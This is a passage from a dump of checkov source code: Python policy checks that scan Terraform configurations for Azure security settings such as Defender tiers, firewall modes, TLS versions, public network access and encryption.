"Ensure that Azure Defender is set to On for App Service" id = "CKV_AZURE_61" supported_resources = ("azurerm_security_center_subscription_pricing",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: return ( CheckResult.PASSED if conf.get("resource_type", [None])[0] != "AppServices" or conf.get("tier", [None])[0] == "Standard" else CheckResult.FAILED ) def get_evaluated_keys(self) -> list[str]: return ["resource_type", "tier"] check = AzureDefenderOnAppServices() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDefenderOnContainerRegistry.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureDefenderOnContainerRegistry(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for Container Registries" id = "CKV_AZURE_86" supported_resources = ("azurerm_security_center_subscription_pricing",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: return ( CheckResult.PASSED if conf.get("resource_type", [None])[0] != "ContainerRegistry" or conf.get("tier", [None])[0] == "Standard" else CheckResult.FAILED ) def get_evaluated_keys(self) -> list[str]: return ["resource_type", "tier"] check = AzureDefenderOnContainerRegistry() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDefenderOnKeyVaults.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureDefenderOnKeyVaults(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for Key Vault" id = "CKV_AZURE_87" supported_resources = ("azurerm_security_center_subscription_pricing",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: return ( CheckResult.PASSED if conf.get("resource_type", [None])[0] != "KeyVaults" or conf.get("tier", [None])[0] == "Standard" else CheckResult.FAILED ) def get_evaluated_keys(self) -> list[str]: return ["resource_type", "tier"] check = AzureDefenderOnKeyVaults() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDefenderOnKubernetes.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureDefenderOnKubernetes(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for Kubernetes" id = "CKV_AZURE_85" supported_resources = ("azurerm_security_center_subscription_pricing",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: return ( CheckResult.PASSED if conf.get("resource_type", [None])[0] != "KubernetesService" or conf.get("tier", [None])[0] == "Standard" else CheckResult.FAILED ) def get_evaluated_keys(self) -> list[str]: return ["resource_type", "tier"] check = AzureDefenderOnKubernetes() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDefenderOnServers.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureDefenderOnServers(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for Servers" id = "CKV_AZURE_55" supported_resources = ("azurerm_security_center_subscription_pricing",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: return ( CheckResult.PASSED if conf.get("resource_type", [None])[0] != "VirtualMachines" or conf.get("tier", [None])[0] == "Standard" else CheckResult.FAILED ) def get_evaluated_keys(self) -> list[str]: return ["resource_type", "tier"] check = AzureDefenderOnServers() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServerVMS.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List, Dict, Any class AzureDefenderOnSqlServersVMS(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for SQL servers on machines" id = "CKV_AZURE_79" supported_resources = ("azurerm_security_center_subscription_pricing",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if ( conf.get("resource_type", [None])[0] != "SqlServerVirtualMachines" or conf.get("tier", [None])[0] == "Standard" ): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["resource_type", "tier"] check = AzureDefenderOnSqlServersVMS() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServers.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureDefenderOnSqlServers(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for Azure SQL database servers" id = "CKV_AZURE_69" supported_resources = ("azurerm_security_center_subscription_pricing",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: return ( CheckResult.PASSED if conf.get("resource_type", [None])[0] != "SqlServers" or conf.get("tier", [None])[0] == "Standard" else CheckResult.FAILED ) def get_evaluated_keys(self) -> list[str]: return ["resource_type", "tier"] check = AzureDefenderOnSqlServers() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDefenderOnStorage.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureDefenderOnStorage(BaseResourceCheck): def __init__(self): name = "Ensure that Azure Defender is set to On for Storage" id = "CKV_AZURE_84" supported_resources = ("azurerm_security_center_subscription_pricing",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: return ( CheckResult.PASSED if conf.get("resource_type", [None])[0] != "StorageAccounts" or conf.get("tier", [None])[0] == "Standard" else CheckResult.FAILED ) def get_evaluated_keys(self) -> list[str]: return ["resource_type", "tier"] check = AzureDefenderOnStorage() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureFirewallDefinesPolicy.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class AzureFirewallDefinesPolicy(BaseResourceValueCheck) : def __init__(self) -> None: name = "Ensure Firewall defines a firewall policy" id = "CKV_AZURE_219" supported_resources = ['azurerm_firewall'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "firewall_policy_id" def get_expected_value(self) -> Any: return ANY_VALUE check = AzureFirewallDefinesPolicy() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureFirewallDenyThreatIntelMode.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureFirewallDenyThreatIntelMode(BaseResourceValueCheck): def __init__(self) -> None: """ https://azure.github.io/PSRule.Rules.Azure/en/rules/Azure.Firewall.Mode/ Configure deny on threat intel for classic managed Azure Firewalls """ name = "Ensure DenyIntelMode is set to Deny for Azure Firewalls" id = "CKV_AZURE_216" supported_resources = ("azurerm_firewall",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'threat_intel_mode' def get_expected_value(self) -> Any: return "Deny" check = AzureFirewallDenyThreatIntelMode() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureFirewallPolicyIDPSDeny.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureFirewallPolicyIDPSDeny(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Firewall policy has IDPS mode as deny" id = "CKV_AZURE_220" supported_resources = ['azurerm_firewall_policy'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "intrusion_detection/[0]/mode" def get_expected_value(self) -> str: return "Deny" check = AzureFirewallPolicyIDPSDeny() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureFrontDoorEnablesWAF.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureFrontDoorEnablesWAF(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Front Door enables WAF" id = "CKV_AZURE_121" supported_resources = ['azurerm_frontdoor'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "frontend_endpoint/[0]/web_application_firewall_policy_link_id" def get_expected_value(self): return ANY_VALUE check = AzureFrontDoorEnablesWAF() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureInstanceExtensions(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Virtual Machine Extensions are not Installed" id = "CKV_AZURE_50" supported_resources = ["azurerm_linux_virtual_machine", "azurerm_windows_virtual_machine"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "allow_extension_operations" def get_expected_value(self) -> Any: return False check = AzureInstanceExtensions() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureInstancePassword.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureInstancePassword(BaseResourceCheck): def __init__(self): name = "Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)" id = "CKV_AZURE_1" supported_resources = ['azurerm_virtual_machine', 'azurerm_linux_virtual_machine'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for password configuration at azure_instance: https://www.terraform.io/docs/providers/azure/r/instance.html :param conf: azure_instance configuration :return: """ if 'os_profile_linux_config' in conf: linux_config = conf['os_profile_linux_config'][0] if isinstance(linux_config, dict) and 'disable_password_authentication' in linux_config: disable_password_authentication = linux_config['disable_password_authentication'] self.evaluated_keys = ['os_profile_linux_config/[0]/disable_password_authentication'] if disable_password_authentication == [False]: return CheckResult.FAILED else: self.evaluated_keys = ['os_profile_linux_config'] if not conf.get('disable_password_authentication', [True])[0]: self.evaluated_keys.append('disable_password_authentication') return CheckResult.FAILED return CheckResult.PASSED check = AzureInstancePassword() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureManagedDiskEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureManagedDiskEncryption(BaseResourceCheck): def __init__(self): name = "Ensure Azure managed disk has encryption enabled" id = "CKV_AZURE_2" supported_resources = ['azurerm_managed_disk'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'disk_encryption_set_id' in conf: self.evaluated_keys = ['disk_encryption_set_id'] return CheckResult.PASSED if 'encryption_settings' in conf: if isinstance(conf['encryption_settings'][0], dict): self.evaluated_keys = ['encryption_settings/[0]/enabled'] if conf['encryption_settings'][0]['enabled'] == [True]: return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.PASSED # enabled by default check = AzureManagedDiskEncryption() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureManagedDiskEncryptionSet.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureManagedDiskEncryptionSet(BaseResourceValueCheck): def __init__(self): name = "Ensure that managed disks use a specific set of disk encryption sets for the " \ "customer-managed key encryption" id = "CKV_AZURE_93" supported_resources = ['azurerm_managed_disk'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'disk_encryption_set_id' def get_expected_value(self): return ANY_VALUE check = AzureManagedDiskEncryptionSet() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureScaleSetPassword.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureScaleSetPassword(BaseResourceValueCheck): def __init__(self): name = "Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)" id = "CKV_AZURE_49" supported_resources = ['azurerm_linux_virtual_machine_scale_set'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "disable_password_authentication/[0]" check = AzureScaleSetPassword() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureSearchAllowedIPsNotGlobal.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class AzureSearchAllowedIPsNotGlobal(BaseResourceNegativeValueCheck): def __init__(self) -> None: # Setting the allowed ips to include global routes CIDR - 0.0.0.0/0 makes the resource public name = "Ensure Azure Cognitive Search service allowed IPS does not give public Access" id = "CKV_AZURE_210" supported_resources = ("azurerm_search_service",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "allowed_ips" def get_forbidden_values(self) -> list[Any]: return ["0.0.0.0/0"] check = AzureSearchAllowedIPsNotGlobal() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureSearchManagedIdentity.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureSearchManagedIdentity(BaseResourceValueCheck): def __init__(self) -> None: # Connections to Azure resources is required to use some features including indexing and customer managed-keys. # Cognitive Search can use managed identities to authenticate to Azure resource without storing credentials. # Using Azure managed identities have the following benefits: # - You don't need to store or manage credentials. Azure automatically generates tokens and performs rotation. # - You can use managed identities to authenticate to any Azure service that supports Azure AD authentication. # Managed identities can be used without any additional cost. name = "Ensure Azure Cognitive Search service uses managed identities to access Azure resources" id = "CKV_AZURE_207" supported_resources = ("azurerm_search_service",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "identity/[0]/type" def get_expected_values(self) -> Any: return "SystemAssigned" check = AzureSearchManagedIdentity() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureSearchPublicNetworkAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureSearchPublicNetworkAccessDisabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Cognitive Search disables public network access" id = "CKV_AZURE_124" supported_resources = ['azurerm_search_service'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'public_network_access_enabled' def get_expected_value(self): return False check = AzureSearchPublicNetworkAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureSearchSLAIndex.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureSearchSLAIndex(BaseResourceCheck): def __init__(self) -> None: # Cognitive Search services support indexing and querying. Indexing is the process of loading content into # the service to make it searchable. Querying is the process where a client searches for content # by sending queries to the index. # Cognitive Search supports a configurable number of replicas. Having multiple replicas allows queries and # index updates to load balance across multiple replicas. # # To receive a Service Level Agreement (SLA) for Search index updates a minimum of 3 replicas is required. name = "Ensure that Azure Cognitive Search maintains SLA for index updates" id = "CKV_AZURE_208" supported_resources = ("azurerm_search_service",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ["replica_count"] replica_count = conf.get("replica_count") if replica_count and isinstance(replica_count, list): if not isinstance(replica_count[0], int): return CheckResult.UNKNOWN if replica_count[0] >= 3: return CheckResult.PASSED return CheckResult.FAILED check = AzureSearchSLAIndex() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureSearchSLAQueryUpdates.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureSearchSQLQueryUpdates(BaseResourceCheck): def __init__(self) -> None: # Cognitive Search services support indexing and querying. Indexing is the process of loading content # into the service to make it searchable. Querying is the process where a client searches for content # by sending queries to the index. # Cognitive Search supports a configurable number of replicas. # Having multiple replicas allows queries and index updates to load balance across multiple replicas. # To receive a Service Level Agreement (SLA) for Search index queries a minimum of 2 replicas is required. name = "Ensure that Azure Cognitive Search maintains SLA for search index queries" id = "CKV_AZURE_209" supported_resources = ("azurerm_search_service",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ["replica_count"] replica_count = conf.get("replica_count") if replica_count and isinstance(replica_count, list): if not isinstance(replica_count[0], int): return CheckResult.UNKNOWN if replica_count[0] >= 2: return CheckResult.PASSED return CheckResult.FAILED check = AzureSearchSQLQueryUpdates() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureServiceFabricClusterProtectionLevel.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureServiceFabricClusterProtectionLevel(BaseResourceCheck): def __init__(self): name = "Ensures that Service Fabric use three levels of protection available" id = "CKV_AZURE_125" supported_resources = ['azurerm_service_fabric_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: self.evaluated_keys = ['fabric_settings'] settings_conf = force_list(conf.get('fabric_settings')) for setting in settings_conf: if setting and setting.get('name') == ['Security']: params = setting.get('parameters', [{}])[0] if params.get('name') == 'ClusterProtectionLevel' and params.get('value') == 'EncryptAndSign': index = settings_conf.index(setting) self.evaluated_keys = [f'fabric_settings/[{index}]/parameters/[0]/name', f'fabric_settings/[{index}]/parameters/[0]/value'] return CheckResult.PASSED return CheckResult.FAILED check = AzureServiceFabricClusterProtectionLevel() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureServicebusDoubleEncryptionEnabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureServicebusDoubleEncryptionEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Service Bus uses double encryption" id = "CKV_AZURE_199" supported_resources = ("azurerm_servicebus_namespace",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "customer_managed_key/[0]/infrastructure_encryption_enabled" def get_expected_value(self) -> Any: return True check = AzureServicebusDoubleEncryptionEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureServicebusHasCMK.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureServicebusHasCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Service Bus uses a customer-managed key to encrypt data" id = "CKV_AZURE_201" supported_resources = ("azurerm_servicebus_namespace",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "customer_managed_key/[0]/key_vault_key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = AzureServicebusHasCMK() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureServicebusIdentityProviderEnabled.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureServicebusIdentityProviderEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Managed identity provider is enabled for Azure Service Bus" id = "CKV_AZURE_202" supported_resources = ("azurerm_servicebus_namespace",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "identity/[0]/type" def get_expected_value(self) -> Any: return ANY_VALUE check = AzureServicebusIdentityProviderEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureServicebusLocalAuthDisabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureServicebusLocalAuthDisabled(BaseResourceValueCheck): def __init__(self) -> None: # This is the full description of your check description = "Ensure Azure Service Bus Local Authentication is disabled" # This is the Unique ID for your check id = "CKV_AZURE_203" # These are the Terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ("azurerm_servicebus_namespace",) # Valid CheckCategories are defined in checkov/common/models/enums.py categories = (CheckCategories.IAM,) super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "local_auth_enabled" def get_expected_value(self) -> Any: return False check = AzureServicebusLocalAuthDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureServicebusMinTLSVersion.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureServicebusMinTLSVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Azure Service Bus is using the latest version of TLS encryption" id = "CKV_AZURE_205" supported_resources = ("azurerm_servicebus_namespace",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "minimum_tls_version" def get_expected_value(self) -> Any: return "1.2" check = AzureServicebusMinTLSVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureServicebusPublicAccessDisabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureServicebusPublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure 'public network access enabled' is set to 'False' for Azure Service Bus" id = "CKV_AZURE_204" supported_resources = ("azurerm_servicebus_namespace",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_expected_value(self) -> Any: """ Returns the default expected value, governed by provider best practices """ return False check = AzureServicebusPublicAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureSparkPoolIsolatedComputeEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureSparkPoolIsolatedComputeEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure isolated compute is enabled for Synapse Spark pools" id = "CKV_AZURE_242" supported_resources = ("azurerm_synapse_spark_pool",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "compute_isolation_enabled" check = AzureSparkPoolIsolatedComputeEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/CDNDisableHttpEndpoints.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CDNDisableHttpEndpoints(BaseResourceValueCheck): def __init__(self) -> None: # This is the full description of your check description = "Ensure the Azure CDN disables the HTTP endpoint" # This is the Unique ID for your check id = "CKV_AZURE_197" # These are the Terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ("azurerm_cdn_endpoint",) # Valid CheckCategories are defined in checkov/common/models/enums.py categories = (CheckCategories.NETWORKING,) super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "is_http_allowed" def get_expected_value(self) -> Any: return False check = CDNDisableHttpEndpoints() ================================================ FILE: checkov/terraform/checks/resource/azure/CDNEnableHttpsEndpoints.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CDNEnableHttpsEndpoints(BaseResourceValueCheck): def __init__(self) -> None: # This is the full description of your check description = "Ensure the Azure CDN enables the HTTPS endpoint" # This is the Unique ID for your check id = "CKV_AZURE_198" # These are the Terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ("azurerm_cdn_endpoint",) # Valid CheckCategories are defined in checkov/common/models/enums.py categories = (CheckCategories.NETWORKING,) super().__init__( name=description, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED, ) def get_inspected_key(self) -> str: return "is_https_allowed" check = CDNEnableHttpsEndpoints() ================================================ FILE: checkov/terraform/checks/resource/azure/CDNTLSProtocol12.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck INSECURE_TLS_VERSIONS = ("None", "TLS10") class CDNTLSProtocol12(BaseResourceCheck): def __init__(self) -> None: # This is the full description of your check description = "Ensure the Azure CDN endpoint is using the latest version of TLS encryption" # This is the Unique ID for your check id = "CKV_AZURE_200" # These are the Terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ("azurerm_cdn_endpoint_custom_domain",) # Valid CheckCategories are defined in checkov/common/models/enums.py categories = (CheckCategories.NETWORKING,) super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "cdn_managed_https" in conf and isinstance(conf["cdn_managed_https"], list): self.evaluated_keys = ["cdn_managed_https"] cdn = conf["cdn_managed_https"][0] if "tls_version" in cdn and isinstance(cdn["tls_version"], list) and cdn["tls_version"][0] in INSECURE_TLS_VERSIONS: self.evaluated_keys = ["cdn_managed_https/[0]/tls_version"] return CheckResult.FAILED if "user_managed_https" in conf and isinstance(conf["user_managed_https"], list): self.evaluated_keys = ["user_managed_https"] user = conf["user_managed_https"][0] if "tls_version" in user and isinstance(user["tls_version"], list) and user["tls_version"][0] in INSECURE_TLS_VERSIONS: self.evaluated_keys = ["user_managed_https/[0]/tls_version"] return CheckResult.FAILED return CheckResult.PASSED check = CDNTLSProtocol12() ================================================ FILE: checkov/terraform/checks/resource/azure/CognitiveServicesConfigureIdentity.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CognitiveServicesDisablesPublicNetwork(BaseResourceValueCheck): def __init__(self): name = "Ensure that all Azure Cognitive Services accounts are configured with a managed identity" id = "CKV_AZURE_238" supported_resources = ['azurerm_cognitive_account'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "identity/[0]/type" def get_expected_value(self): return ANY_VALUE check = CognitiveServicesDisablesPublicNetwork() ================================================ FILE: checkov/terraform/checks/resource/azure/CognitiveServicesDisablesPublicNetwork.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CognitiveServicesDisablesPublicNetwork(BaseResourceValueCheck): def __init__(self): name = "Ensure that Cognitive Services accounts disable public network access" id = "CKV_AZURE_134" supported_resources = ['azurerm_cognitive_account'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'public_network_access_enabled' def get_expected_value(self): return False check = CognitiveServicesDisablesPublicNetwork() ================================================ FILE: checkov/terraform/checks/resource/azure/CognitiveServicesEnableLocalAuth.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CognitiveServicesEnableLocalAuth(BaseResourceValueCheck): def __init__(self): name = "Ensure that Cognitive Services accounts disable local authentication" id = "CKV_AZURE_236" supported_resources = ('azurerm_cognitive_account', ) categories = (CheckCategories.NETWORKING, ) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self): return 'local_auth_enabled' def get_expected_value(self): return False check = CognitiveServicesEnableLocalAuth() ================================================ FILE: checkov/terraform/checks/resource/azure/CosmosDBAccountsRestrictedAccess.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CosmosDBAccountsRestrictedAccess(BaseResourceCheck): def __init__(self): name = "Ensure Cosmos DB accounts have restricted access" id = "CKV_AZURE_99" supported_resources = ['azurerm_cosmosdb_account'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, 